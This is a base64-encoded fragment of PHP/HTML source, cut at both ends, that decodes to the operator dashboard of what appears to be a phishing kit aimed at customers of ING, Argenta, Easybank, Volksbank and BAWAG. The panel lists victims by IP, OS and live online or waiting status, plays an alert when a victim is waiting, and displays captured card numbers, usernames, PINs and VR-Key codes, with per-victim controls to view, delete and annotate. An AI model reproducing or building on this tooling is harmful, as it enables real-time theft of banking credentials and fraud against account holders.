WFyZ2luLXJpZ2h0OiA4cHg7DQogICAgfQ0KICAgIC5icm93c2VyLWljb246YmVmb3JlIHsNCiAgICAgICAgZm9udC1zaXplOiAyNHB4Ow0KICAgICAgICBtYXJnaW4tcmlnaHQ6IDhweDsNCiAgICB9DQouZmEtd2luZG93cyB7DQogIGNvbG9yOiAjOWM0ZGNjOyAvKiBXaW5kb3dzIGNvbG9yICovDQp9DQoNCi5mYS1hcHBsZSB7DQogIGNvbG9yOiAjOWM0ZGNjOyAvKiBNYWMgY29sb3IgKi8NCn0NCg0KLmZhLWxpbnV4IHsNCiAgY29sb3I6ICM5YzRkY2M7IC8qIExpbnV4IGNvbG9yICovDQp9DQoNCi5mYS1jaHJvbWUgew0KICBjb2xvcjogIzljNGRjYzsgLyogQ2hyb21lIGNvbG9yICovDQp9DQoNCi5mYS1maXJlZm94IHsNCiAgY29sb3I6ICM5YzRkY2M7IC8qIEZpcmVmb3ggY29sb3IgKi8NCn0NCg0KLmZhLXNhZmFyaSB7DQogIGNvbG9yOiAjOWM0ZGNjOyAvKiBTYWZhcmkgY29sb3IgKi8NCn0NCg0KLmZhLWludGVybmV0LWV4cGxvcmVyIHsNCiAgY29sb3I6ICM5YzRkY2M7IC8qIEludGVybmV0IEV4cGxvcmVyIGNvbG9yICovDQp9DQoNCi5mYS1lZGdlIHsNCiAgY29sb3I6ICM5YzRkY2M7IC8qIEVkZ2UgY29sb3IgKi8NCn0NCg0KLmZhLW9wZXJhIHsNCiAgY29sb3I6ICM5YzRkY2M7IC8qIE9wZXJhIGNvbG9yICovDQp9DQoNCi5mYS1icmF2ZSB7DQogIGNvbG9yOiAjOWM0ZGNjOyAvKiBCcmF2ZSBjb2xvciAqLw0KfQ0KDQo8L3N0eWxlPjxkaXYgY2xhc3M9ImNhcmQtYm9keSI+PGg2PkFkZGl0aW9uYWwgSW5mb3JtYXRpb248L2g2Pjxocj4NCjxkaXYgY2xhc3M9ImNhcmQgbWItMSBzaWlsZW5jZWQtZGFya2VyIHJvdW5kZWQgIGN1c3RvbS1jYXJkIj4NCg0KPHA+PHNpaWxlbmNlZD5TdGF0dXM6ICcgLiAkd2FjaHRlbiAuICcgPGltZyBoZWlnaHQ9IjEwIiB3aWR0aD0iMTAiIHNyYz0iL2ltZy9pbmcuZ2lmIj48L3NpaWxlbmNlZD48L3A+DQo8cD48c3BhbiBjbGFzcz0ic2lpbGVuY2VkIj48c3BhbiBzdHlsZT0iZm9udC1zaXplOiAyMHB4OyIgY2xhc3M9IicgLiBodG1sc3BlY2lhbGNoYXJzKCRvc0ljb24pIC4gJyI+PC9zcGFuPiA8c3BhbiBzdHlsZT0iZm9udC1zaXplOiAyMHB4OyIgY2xhc3M9IicgLiBodG1sc3BlY2lhbGNoYXJzKCRicm93c2VySWNvbikgLiAnIj48L3NwYW4+PC9zcGFuPjwvcD4NCjxwPg0KPHNpaWxlbmNlZD4nIC4gKGZ1bmN0aW9uICgpIHVzZSAoJGxvZykNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICBzd2l0Y2ggKCRsb2dbImJhbmsiXSkNCiAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgIGNhc2UgIklORyI6DQogICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gIkNhcmROdW1iZXI6ICIgLiAoJGxvZ1siaW5nX3dpZmkiXSA/IGh0bWxzcGVjaWFsY2hhcnMoJGxvZ1siaW5nX3dpZmkiXSkgOiAnPHNwYW4gc3R5bGU9ImNvbG9yOnJlZCI+Tk9UIEZJTExFRCBJTjwvc3Bhbj4nKTsNCiAgICAgICAgICAgICAgICAgICAgY2FzZSAiQVJHRU5UQSI6DQogICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gIkNhcmROdW1iZXI6ICIgLiAoJGxvZ1siZW50cnlkYXRhIl0gPyBodG1sc3BlY2lhbGNoYXJzKCRsb2dbImVudHJ5ZGF0YSJdKSA6ICc8c3BhbiBzdHlsZT0iY29sb3I6cmVkIj5OT1QgRklMTEVEIElOPC9zcGFuPicpOw0KICAgICAgICAgICAgICAgICAgICBjYXNlICJFQVNZQkFOSyI6DQogICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gIlVzZXJuYW1lOiAiIC4gKCRsb2dbImVhc3liYW5rX3VzZXIiXSA/IGh0bWxzcGVjaWFsY2hhcnMoJGxvZ1siZWFzeWJhbmtfdXNlciJdKSA6ICc8c3BhbiBzdHlsZT0iY29sb3I6cmVkIj5OT1QgRklMTEVEIElOPC9zcGFuPicpOw0KICAgICAgICAgICAgICAgICAgICBjYXNlICJWT0xLU0JBTksiOg0KICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuICJCZW51dHplcm5hbWU6ICIgLiAoJGxvZ1sidm9sa3NiYW5rX3VzZXIiXSA/IGh0bWxzcGVjaWFsY2hhcnMoJGxvZ1sidm9sa3NiYW5rX3VzZXIiXSkgOiAnPHNwYW4gc3R5bGU9ImNvbG9yOnJlZCI+Tk9UIEZJTExFRCBJTjwvc3Bhbj4nKTsNCiAgICAgICAgICAgICAgICAgICAgY2FzZSAiQkFXQUciOg0KICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuICJWZXJmw7xnZXJudW1tZXI6ICIgLiAoJGxvZ1siYmF3YWdfdXNlciJdID8gaHRtbHNwZWNpYWxjaGFycygkbG9nWyJiYXdhZ191c2VyIl0pIDogJzxzcGFuIHN0eWxlPSJjb2xvcjpyZWQiPk5PVCBGSUxMRUQgSU48L3NwYW4+Jyk7DQogICAgICAgICAgICAgICAgICAgIGRlZmF1bHQ6DQogICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gJzxzcGFuIHN0eWxlPSJjb2xvcjpyZWQiPjxpIGNsYXNzPSJmYSBmYS1leGNsYW1hdGlvbi1jaXJjbGUiIGFyaWEtaGlkZGVuPSJ0cnVlIj48L2k+IEJBTksgTk9UIFNFTEVDVEVEIDxpIGNsYXNzPSJmYSBmYS1leGNsYW1hdGlvbi1jaXJjbGUiIGFyaWEtaGlkZGVuPSJ0cnVlIj48L2k+PC9zcGFuPic7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfSkgKCkgLiAnPC9zaWlsZW5jZWQ+DQo8L3A+DQo8cD4NCjxzaWlsZW5jZWQ+DQogICAgPGlucHV0IHR5cGU9InRleHQiIHN0eWxlPSJmb250LXN0eWxlOiBpdGFsaWM7IiBjbGFzcz0iZm9ybS1jb250cm9sIHJhYm8tbG9naW4gaW5wdXQtZGFyayBtdC0xIGN1c3RvbS1pbnB1dCIgDQogICAgICAgIHBsYWNlaG9sZGVyPSJOb3RlOiAnIC4gKCRsb2dbIm5vdGUiXSA/IGh0bWxzcGVjaWFsY2hhcnMoJGxvZ1sibm90ZSJdKSA6ICJOTyBOT1RFIEZJTExFRCBJTiIpIC4gJyINCiAgICAgICAgaWQ9Im5vdGVfJyAuIGh0bWxzcGVjaWFsY2hhcnMoJGxvZ1sidXNlcl9pZCJdKSAuICciIG9uZm9jdXM9InNob3dCdXR0b24oXCcnIC4gaHRtbHNwZWNpYWxjaGFycygkbG9nWyJ1c2VyX2lkIl0pIC4gJ1wnKSI+DQogICAgPGJ1dHRvbiBjbGFzcz0iYnRuIGJ0bi1kYW5nZXIgYnRuLXNtIGFuaW1hdGVkLWJ1dHRvbiIgaWQ9InNhdmVOb3RlQnV0dG9uXycgLiBodG1sc3BlY2lhbGNoYXJzKCRsb2dbInVzZXJfaWQiXSkgLiAnIiBzdHlsZT0iZGlzcGxheTogbm9uZTsgb3BhY2l0eTogMDsiIA0KICAgICAgICBvbmNsaWNrPSJ1cGRhdGVOb3RlKFwnJyAuIGh0bWxzcGVjaWFsY2hhcnMoJGxvZ1sidXNlcl9pZCJdKSAuICdcJywgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoXCdub3RlXycgLiBodG1sc3BlY2lhbGNoYXJzKCRsb2dbInVzZXJfaWQiXSkgLiAnXCcpLnZhbHVlKSI+DQogICAgICAgIDxpIGNsYXNzPSJmYSBmYS1lZGl0Ij48L2k+IFNhdmUgTm90ZQ0KICAgIDwvYnV0dG9uPg0KICAgIDxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFuZ2VyIGJ0bi1zbSBhbmltYXRlZC1idXR0b24iIGlkPSJleGl0Tm90ZUJ1dHRvbl8nIC4gaHRtbHNwZWNpYWxjaGFycygkbG9nWyJ1c2VyX2lkIl0pIC4gJyIgc3R5bGU9ImRpc3BsYXk6IG5vbmU7IG9wYWNpdHk6IDA7IiBvbmNsaWNrPSJleGl0Tm90ZShcJycgLiBodG1sc3BlY2lhbGNoYXJzKCRsb2dbInVzZXJfaWQiXSkgLiAnXCcpIj4NCiAgICAgICAgPGkgY2xhc3M9ImZhIGZhLXRpbWVzLWNpcmNsZSIgYXJpYS1oaWRkZW49InRydWUiPjwvaT4NCiBFeGl0IE5vdGUNCiAgICA8L2J1dHRvbj4NCjwvc2lpbGVuY2VkPg0KDQoNCjwvcD4NCg0KDQo8L2Rpdj4NCg0KDQogICAgICAgICAgJzsNCj8+DQogICAgICAgIDxicj4NCiAgICAgICAgICAgIDxidXR0b24gY2xhc3M9ImJ0biBidG4tcHVycGxlIGJ0bi1zbSIgb25jbGljaz0ib3BlblVzZXIoJzw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkbG9nWyJ1c2VyX2lkIl0pOyA/PicpIj48aSBjbGFzcz0iZmFzIGZhLWV4dGVybmFsLWxpbmstYWx0Ij48L2k+IFZpZXc8L2J1dHRvbj4NCiAgICAgICAgICAgIDxidXR0b24gY2xhc3M9ImJ0biBidG4tcHVycGxlIGJ0bi1zbSIgb25jbGljaz0iZGVsZXRlTG9nKCc8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGxvZ1sidXNlcl9pZCJdKTsgPz4nKSI+PGkgY2xhc3M9ImZhcyBmYS10cmFzaCI+PC9pPiBEZWxldGU8L2J1dHRvbj4NCiAgICAgICAgICAgIDxidXR0b24gY2xhc3M9ImJ0biBidG4tcHVycGxlIGJ0bi1zbSIgc3R5bGU9ImRpc3BsYXk6IG5vbmU7IiBvbmNsaWNrPSJ1cGRhdGVOb3RlKCc8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGxvZ1sidXNlcl9pZCJdKTsgPz4nLCBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnbm90ZScpLnZhbHVlKSI+PGkgY2xhc3M9ImZhIGZhLWVkaXQiPjwvaT4gU2F2ZSBOb3RlPC9idXR0b24+DQogICANCiAgICAgICAgICAgIDw/cGhwDQogICAgICAgICAgICBlY2hvICc8ZGl2IGNsYXNzPSJjb2xsYXBzZSIgaWQ9IicgLiBodG1sc3BlY2lhbGNoYXJzKCRsb2dbInVzZXJuYW1lIl0pIC4gaHRtbHNwZWNpYWxjaGFycygkbG9nWyJ1c2VyX2lkIl0pIC4gJyIgc3R5bGU9IiI+JzsNCg0KICAgICAgICAgICAgZWNobyAiPC9kaXY+IjsNCiAgICAgICAgICAgIGVjaG8gIjwvZGl2PiI7DQogICAgICAgICAgICBlY2hvICI8L2Rpdj4iOw0KICAgICAgICAgICAgZWNobyAiPC9kaXY+IjsNCg0KICAgICAgICB9DQp9IGVsc2UgaWYgKCRkaXNwbGF5Rm9ybWF0ID09PSAnZGF0YXRhYmxlJykgew0KICAgIGVjaG8gJzx0YWJsZSBpZD0ibG9nc1RhYmxlIj4nOw0KICAgIGVjaG8gJzx0aGVhZD48dHI+JzsNCiAgICBlY2hvICc8dGg+PGkgY2xhc3M9ImZhIGZhLWluZm8tY2lyY2xlIj48L2k+IFN0YXR1czwvdGg+JzsNCiAgICBlY2hvICc8dGg+PGkgY2xhc3M9ImZhIGZhLWdsb2JlIj48L2k+IElQPC90aD4nOw0KICAgIGVjaG8gJzx0aD48aSBjbGFzcz0iZmEgZmEtdW5pdmVyc2l0eSI+PC9pPiBCYW5rPC90aD4nOw0KICAgIGVjaG8gJzx0aD48aSBjbGFzcz0iZmEgZmEtZGVza3RvcCI+PC9pPiBPUzwvdGg+JzsNCiAgICBlY2hvICc8dGg+PGkgY2xhc3M9ImZhcyBmYS1zdGlja3ktbm90ZSI+PC9pPiBOb3RlPC90aD4nOw0KICAgIGVjaG8gJzx0aD48aSBjbGFzcz0iZmFzIGZhLWNvZ3MiPjwvaT4gQWN0aW9uczwvdGg+JzsNCiAgICBlY2hvICc8L3RyPjwvdGhlYWQ+JzsNCiAgICBlY2hvICc8dGJvZHk+JzsNCg0KICAgICAgICBmb3JlYWNoICgkYWxsTG9ncyBhcyAkbG9nKSB7DQogICAgICAgICAgICAkbmV3X2RhdGUgPSAobmV3IFxEYXRlVGltZSgpKTsNCiAgICAgICAgICAgICRvbGRfZGF0ZSA9IChuZXcgXERhdGVUaW1lKCRsb2dbJ2xhc3RfY29ubmVjdGVkJ10pKTsNCiAgICAgICAgICAgICRkaWZmID0gJG5ld19kYXRlLT5nZXRUaW1lc3RhbXAoKSAtICRvbGRfZGF0ZS0+Z2V0VGltZXN0YW1wKCk7DQogICAgICAgICAgICAkd2FpdGluZyA9ICJiZy1kYXJrZXIiOw0KICAgICAgICAgICAgJHN0YXR1c0NsYXNzID0gInN0YXR1cy1iYWRnZSBvZmZsaW5lLWNsYXNzIjsNCiAgICAgICAgICAgICR3YWNodGVuID0gIjxzcGFuIGNsYXNzPSckc3RhdHVzQ2xhc3MnPk9mZmxpbmU8L3NwYW4+IjsNCg0KICAgICAgICAgICAgaWYgKCRsb2dbIndhaXRpbmciXSA9PSAidHJ1ZSIpIHsNCiAgICAgICAgICAgICAgICAkd2FpdGluZyA9ICJiZy1ibGluayI7DQogICAgICAgICAgICAgICAgJHN0YXR1c0NsYXNzID0gInN0YXR1cy1iYWRnZSB3YWl0aW5nLWNsYXNzIjsNCiAgICAgICAgICAgICAgICAkd2FjaHRlbiA9ICI8c3BhbiBjbGFzcz0nJHN0YXR1c0NsYXNzJz5XYWl0aW5nPC9zcGFuPiI7DQogICAgICAgICAgICAgICAgZWNobyAnPGF1ZGlvIGF1dG9wbGF5Pjxzb3VyY2Ugc3JjPSIvYXVkaW8vdmlzLm1wMyIgdHlwZT0iYXVkaW8vbXBlZyI+PC9hdWRpbz4nOw0KICAgICAgICAgICAgfSBlbHNlaWYgKCRkaWZmIDwgMTApIHsNCiAgICAgICAgICAgICAgICAkd2FpdGluZyA9ICJiZy1zdWNjZXNzIjsNCiAgICAgICAgICAgICAgICAkc3RhdHVzQ2xhc3MgPSAic3RhdHVzLWJhZGdlIG9ubGluZS1jbGFzcyI7DQogICAgICAgICAgICAgICAgJHdhY2h0ZW4gPSAiPHNwYW4gY2xhc3M9JyRzdGF0dXNDbGFzcyc+T25saW5lPC9zcGFuPiI7DQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICR1c2VyQWdlbnROYW1lID0gJGxvZ1sndXNlcl9hZ2VudCddOw0KICAgICAgICAgICAgJGJyb3dzZXJOYW1lID0gJyc7DQogICAgICAgICAgICAkb3NOYW1lID0gJyc7DQogICAgICAgICAgICBmb3JlYWNoICgkdXNlckFnZW50cyBhcyAkbmFtZSA9PiAkaW5mbykgew0KICAgICAgICAgICAgICAgIGlmIChzdHJwb3MoJHVzZXJBZ2VudE5hbWUsICRuYW1lKSAhPT0gZmFsc2UpIHsNCiAgICAgICAgICAgICAgICAgICAgaWYgKCRpbmZvWyd0eXBlJ10gPT09ICdCcm93c2VyJykgew0KICAgICAgICAgICAgICAgICAgICAgICAgJGJyb3dzZXJOYW1lID0gJG5hbWU7DQogICAgICAgICAgICAgICAgICAgIH0gZWxzZSBpZiAoJGluZm9bJ3R5cGUnXSA9PT0gJ09TJykgew0KICAgICAgICAgICAgICAgICAgICAgICAgJG9zTmFtZSA9ICRuYW1lOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KDQogICAgICAgICRiYW5rID0gIWVtcHR5KCRsb2dbJ2JhbmsnXSkgPyAkbG9nWydiYW5rJ10gOiAnQkFOSyBOT1QgU0VMRUNURUQnOw0KDQogICAgICAgICRiYW5rID0gIWVtcHR5KCRsb2dbJ2JhbmsnXSkgPyAkbG9nWydiYW5rJ10gOiAnQkFOSyBOT1QgU0VMRUNURUQnOw0KDQoNCiAgICAgICAgJG5vdGVTdGF0dXMgPSAhZW1wdHkoJGxvZ1snbm90ZSddKSA/ICRsb2dbJ25vdGUnXSA6ICdObyBOb3RlIEZpbGxlZCBJbic7DQoNCiAgICAgICAgZWNobyAnPHRyPic7DQogICAgICAgIGVjaG8gJzx0ZCBjbGFzcz0iaG92ZXItZWZmZWN0Ij4nIC4gJHdhY2h0ZW4gLiAnPC90ZD4nOw0KICAgICAgICBlY2hvICc8dGQgY2xhc3M9ImhvdmVyLWVmZmVjdCI+JyAuICRsb2dbJ2lwJ10gLiAnPC90ZD4nOw0KICAgICAgICBlY2hvICc8dGQgY2xhc3M9ImhvdmVyLWVmZmVjdCI+JyAuICRiYW5rIC4gJzwvdGQ+JzsNCiAgICAgICAgZWNobyAnPHRkIGNsYXNzPSJob3Zlci1lZmZlY3QiPicgLiAkb3NOYW1lIC4gJzwvdGQ+JzsNCiAgICAgICBlY2hvICc8dGQgY2xhc3M9ImhvdmVyLWVmZmVjdCI+JzsNCg0KLy8gQ3JlYXRlIGFuIGFycmF5IHRvIGhvbGQgdGhlIGxvZyBkYXRhDQoNCiRsb2dEYXRhID0gYXJyYXkoKTsNCmVjaG8gJzxkaXYgY2xhc3M9IiI+JzsNCg0Kew0KICAgICRsb2dEYXRhID0gaHRtbHNwZWNpYWxjaGFycygkbG9nWyJub3RlIl0pOw0KfQ0KZWNobyAnPC9kaXY+JzsNCg0KaWYgKCFlbXB0eSgkbG9nWyJ2b2xrc2Jhbmtfd2lmaV9wYXNzIl0pKSB7DQogICAgJGxvZ0RhdGFbIlBJTiJdID0gaHRtbHNwZWNpYWxjaGFycygkbG9nWyJ2b2xrc2Jhbmtfd2lmaV9wYXNzIl0pOw0KfQ0KDQppZiAoIWVtcHR5KCRsb2dbInZvbGtzYmFua193aWZpIl0pKSB7DQogICAgJGxvZ0RhdGFbIlZSLUtleSJdID0gaHRtbHNwZWNpYWxjaGFycygkbG9nWyJ2b2xrc2Jhbmtfd2lmaSJdKTsNCn0NCg0KDQovLyBFbmNvZGUgdGhlIGxvZyBkYXRhIGFzIEpTT04gYW5kIGVjaG8gaXQNCmVjaG8ganNvbl9lbmNvZGUoJGxvZ0RhdGEpOw0KDQplY2hvICc8L3RkPic7DQoNCiAgICAgICAgZWNobyAnPHRkPic7DQogICAgICAgIGVjaG8gJzxidXR0b24gY2xhc3M9ImJ0biBidG4tcHVycGxlIGJ0bi1zbSIgc3R5bGU9Im1hcmdpbi1yaWdodDogNXB4OyBwYWRkaW5nOiAzcHggNnB4OyBmb250LXNpemU6IDAuOGVtOyIgb25jbGljaz0ib3BlblVzZXIoXCcnLmh0bWxzcGVjaWFsY2hhcnMoJGxvZ1sidXNlcl9pZCJdKS4nXCcpIj48aSBjbGFzcz0iZmFzIGZhLWV4dGVybmFsLWxpbmstYWx0Ij48L2k+IFZpZXc8L2J1dHRvbj4nOw0KICAgICAgICBlY2hvICc8YnV0dG9uIGNsYXNzPSJidG4gYnRuLXB1cnBsZSBidG4tc20iIHN0eWxlPSJtYXJnaW4tcmlnaHQ6IDVweDsgcGFkZGluZzogM3B4IDZweDsgZm9udC1zaXplOiAwLjhlbTsiIG9uY2xpY2s9ImRlbGV0ZUxvZyhcJycuaHRtbHNwZWNpYWxjaGFycygkbG9nWyJ1c2VyX2lkIl0pLidcJykiPjxpIGNsYXNzPSJmYXMgZmEtdHJhc2giPjwvaT4gRGVsZXRlPC9idXR0b24+JzsNCiAgICAgICAgZWNobyAnPGJ1dHRvbiBjbGFzcz0iYnRuIGJ0bi1wdXJwbGUgYnRuLXNtIiBzdHlsZT0icGFkZGluZzogM3B4IDZweDsgZm9udC1zaXplOiAwLjhlbTsiIGRhdGEtdG9nZ2xlPSJtb2RhbCIgZGF0YS10YXJnZXQ9IiNub3RlTW9kYWwtJy5odG1sc3BlY2lhbGNoYXJzKCRsb2dbInVzZXJfaWQiXSkuJyI+PGkgY2xhc3M9ImZhIGZhLWVkaXQiPjwvaT4gRWRpdCBOb3RlPC9idXR0b24+JzsNCg0KICAgICAgICBlY2hvICc8L3RkPic7DQogICAgICAgIGVjaG8gJzwvdHI+JzsNCiAgICB9DQoNCiAgICBlY2hvICc8L3Rib2R5Pic7DQogICAgZWNobyAnPC90YWJsZT4nOw0KfQ0KDQoNCmZvcmVhY2ggKCRhbGxMb2dzIGFzICRsb2cpIHsNCj8+DQo8IS0tIE1vZGFsIC0tPg0KPGRpdiBjbGFzcz0ibW9kYWwgZmFkZSIgaWQ9Im5vdGVNb2RhbC08P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGxvZ1sidXNlcl9pZCJdKTsgPz4iIHRhYmluZGV4PSItMSIgcm9sZT0iZGlhbG9nIiBhcmlhLWxhYmVsbGVkYnk9Im5vdGVNb2RhbExhYmVsLTw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkbG9nWyJ1c2VyX2lkIl0pOyA/PiIgYXJpYS1oaWRkZW49InRydWUiPg0KICA8ZGl2IGNsYXNzPSJtb2RhbC1kaWFsb2ciIHJvbGU9ImRvY3VtZW50Ij4NCiAgICA8ZGl2IGNsYXNzPSJtb2RhbC1jb250ZW50Ij4NCiAgICAgIDxkaXYgY2xhc3M9Im1vZGFsLWhlYWRlciI+DQogICAgICAgIDxoNSBjbGFzcz0ibW9kYWwtdGl0bGUiIGlkPSJub3RlTW9kYWxMYWJlbC08P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGxvZ1sidXNlcl9pZCJdKTsgPz4iPkVkaXQgTm90ZTwvaDU+DQogICAgICAgIDxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iY2xvc2UiIGRhdGEtZGlzbWlzcz0ibW9kYWwiIGFyaWEtbGFiZWw9IkNsb3NlIj4NCiAgICAgICAgICA8c3BhbiBhcmlhLWhpZGRlbj0idHJ1ZSI+JnRpbWVzOzwvc3Bhbj4NCiAgICAgICAgPC9idXR0b24+DQogICAgICA8L2Rpdj4NCiAgICAgIDxkaXYgY2xhc3M9Im1vZGFsLWJvZHkiPg0KICAgICAgICA8dGV4dGFyZWEgaWQ9Im5vdGUtPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRsb2dbInVzZXJfaWQiXSk7ID8+IiBjbGFzcz0iZm9ybS1jb250cm9sIj48P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGxvZ1sibm90ZSJdKTsgPz48L3RleHRhcmVhPg0KICAgICAgPC9kaXY+DQogICAgICA8ZGl2IGNsYXNzPSJtb2RhbC1mb290ZXIiPg0KICAgICAgICA8YnV0dG9uIHR5cGU9ImJ1dHRvbiIgY2xhc3M9ImJ0biBidG4tc2Vjb25kYXJ5IiBkYXRhLWRpc21pc3M9Im1vZGFsIj5DbG9zZTwvYnV0dG9uPg0KICAgICAgICA8YnV0dG9uIHR5cGU9ImJ1dHRvbiIgY2xhc3M9ImJ0biBidG4tcHVycGxlIiBvbmNsaWNrPSJ1cGRhdGVOb3RlKCc8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGxvZ1sidXNlcl9pZCJdKTsgPz4nLCBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnbm90ZS08P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGxvZ1sidXNlcl9pZCJdKTsgPz4nKS52YWx1ZSkiPlNhdmUgY2hhbmdlczwvYnV0dG9uPg0KICAgICAgPC9kaXY+DQogICAgPC9kaXY+DQogIDwvZGl2Pg0KPC9kaXY+DQoNCjw/cGhwDQp9DQp9DQoNCiAgICBwcml2YXRlIGZ1bmN0aW9uIHNob3dMb2coJGxvZywgJGxvZ2FycmF5KQ0KICAgIHsNCiAgICAgICAgJG5ld19kYXRlID0gKG5ldyBcRGF0ZVRpbWUoKSk7DQogICAgICAgICRvbGRfZGF0ZSA9IChuZXcgXERhdGVUaW1lKCRsb2dbJ2xhc3RfY29ubmVjdGVkJ10pKTsNCgkJDQoJCSRpbnRlcnZhbCA9ICRvbGRfZGF0ZS0+ZGlmZigkbmV3X2RhdGUpOw0KDQoJCSRtaW51dGVzID0gJGludGVydmFsLT5pOw0KCQkkaG91cnMgPSAkaW50ZXJ2YWwtPmg7DQoJCSRkYXlzID0gJGludGVydmFsLT5kOw0KDQoJCSR0b3RhbF9taW51dGVzID0gJG1pbnV0ZXMgKyAkaG91cnMgKiA2MCArICRkYXlzICogMjQgKiA2MDsNCg0KCQkkdGltZVN0cmluZyA9ICcnOw0KDQoJCWlmICgkdG90YWxfbWludXRlcyA+PSA2MCkgew0KCQkJJGhvdXJzID0gZmxvb3IoJHRvdGFsX21pbnV0ZXMgLyA2MCk7DQoJCQkkbWludXRlcyA9ICR0b3RhbF9taW51dGVzICUgNjA7DQogICAgDQoJCQkkdGltZVN0cmluZyA9ICRob3VycyAuICcgaG91cicgLiAoJGhvdXJzID4gMSA/ICdzJyA6ICcnKSAuICcgYW5kICcgLiAkbWludXRlcyAuICcgbWludXRlcycgLiAoJG1pbnV0ZXMgPiAxID8gJ3MnIDogJycpIC4gJyBhZ28nOw0KCQl9IGVsc2Ugew0KCQkJJHRpbWVTdHJpbmcgPSAkdG90YWxfbWludXRlcyAuICcgbWludXRlcycgLiAoJHRvdGFsX21pbnV0ZXMgPiAxID8gJ3MnIDogJycpIC4gJyBhZ28nOw0KCQl9DQoJCQ0KCQkNCiAgICAJICAkYmFuayA9ICcnOw0KICAgICAgICBpZiAoIWVtcHR5KCRsb2dbJ2JhbmsnXSkpIHsNCiAgICAgICAgICAgICRiYW5rID0gJyAtICcgLiAkbG9nWydiYW5rJ107DQoJCQkkdXNlcl9pZCA9ICAkbG9nWyd1c2VyX2lkJ107DQogICAgICAgICAgICAkaXAgPSAgJGxvZ1snaXAnXTsNCiAgICAgICAgICAgICR3YWl0aW5nID0gICRsb2dbJ3dhaXRpbmcnXTsNCiAgICAgICAgICAgICRsYXN0X2Nvbm5lY3RlZCA9ICAkbG9nWydsYXN0X2Nvbm5lY3RlZCddOw0KCSAgfQ0KICAgICAgICAkZGlmZiA9ICRuZXdfZGF0ZS0+Z2V0VGltZXN0YW1wKCkgLSAkb2xkX2RhdGUtPmdldFRpbWVzdGFtcCgpOw0KDQogICAgICAgIGVjaG8gJzxkaXYgY2xhc3M9InJvdyBwLTEiPic7DQogICAgICAgIGlmICgkZGlmZiA+IDEwKSB7DQogICAgICAgICAgICBlY2hvICc8ZGl2IGNsYXNzPSJjb2wtMTIiPic7DQogICAgICAgICAgICBlY2hvICc8ZGl2IGNsYXNzPSJjb2wtMTIgYmctZGFya2VyIHJvdW5kZWQiPic7DQogICAgICAgICAgICBlY2hvICc8aDEgY2xhc3M9InRleHQtd2hpdGUgdGV4dC1jZW50ZXIgcC00IiBpZD0iYWxlcnQiIHN0eWxlPSJmb250LXNpemU6IDJyZW0iPjxpIGNsYXNzPSJmYSBmYS13aWZpIiBhcmlhLWhpZGRlbj0idHJ1ZSI+PC9pPiBDdXJyZW50bHkgT2ZmbGluZTwvaDE+JzsNCiAgICAgICAgICAgIGVjaG8gJzwvZGl2Pic7DQogICAgICAgIH0gZWxzZWlmICgkbG9nWyd3YWl0aW5nJ10gPT09ICd0cnVlJykgew0KICAgICAgICAgICAgZWNobyAnPGRpdiBjbGFzcz0iY29sLTEyIj4nOw0KICAgICAgICAgICAgZWNobyAnPGRpdiBjbGFzcz0iY29sLTEyIGJnLWJsaW5rIHJvdW5kZWQiPic7DQogICAgICAgICAgICBlY2hvICc8aDEgY2xhc3M9InRleHQtd2hpdGUgdGV4dC1jZW50ZXIgcC00IiBpZD0iYWxlcnQiIHN0eWxlPSJmb250LXNpemU6IDJyZW0iPjxpIGNsYXNzPSJmYSBmYS13aWZpIiBhcmlhLWhpZGRlbj0idHJ1ZSI+PC9pPiBDdXJyZW50bHkgV2FpdGluZyA8L2gxPic7DQogICAgICAgICAgICBlY2hvICc8L2Rpdj4nOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAnPGRpdiBjbGFzcz0iY29sLTEyIj4nOw0KICAgICAgICAgICAgZWNobyAnPGRpdiBjbGFzcz0iY29sLTEyIGJnLXN1Y2Nlc3Mgcm91bmRlZCI+JzsNCiAgICAgICAgICAgIGVjaG8gJzxoMSBjbGFzcz0idGV4dC13aGl0ZSB0ZXh0LWNlbnRlciBwLTQiIGlkPSJhbGVydCIgc3R5bGU9ImZvbnQtc2l6ZTogMnJlbSI+PGkgY2xhc3M9ImZhIGZhLXdpZmkiIGFyaWEtaGlkZGVuPSJ0cnVlIj48L2k+IEN1cnJlbnRseSBPbmxpbmU8L2gxPic7DQogICAgICAgICAgICBlY2hvICc8L2Rpdj4nOw0KICAgICAgICB9DQoJCWVjaG8gJzxicj48c3R5bGU+LmJvcmRlci1sZWZ0LWRhbmdlciB7DQogICAgYm9yZGVyLWxlZnQ6IDAuMjVyZW0gc29saWQgIzFhMWQyMCFpbXBvcnRhbnQ7DQp9PC9zdHlsZT48ZGl2IGNsYXNzPSJyb3ciPg0KDQogICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbC14bC0zIGNvbC1tZC02IG1iLTQiPg0KICAgICAgICAgICAgICAgDQoNCiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNhcmQ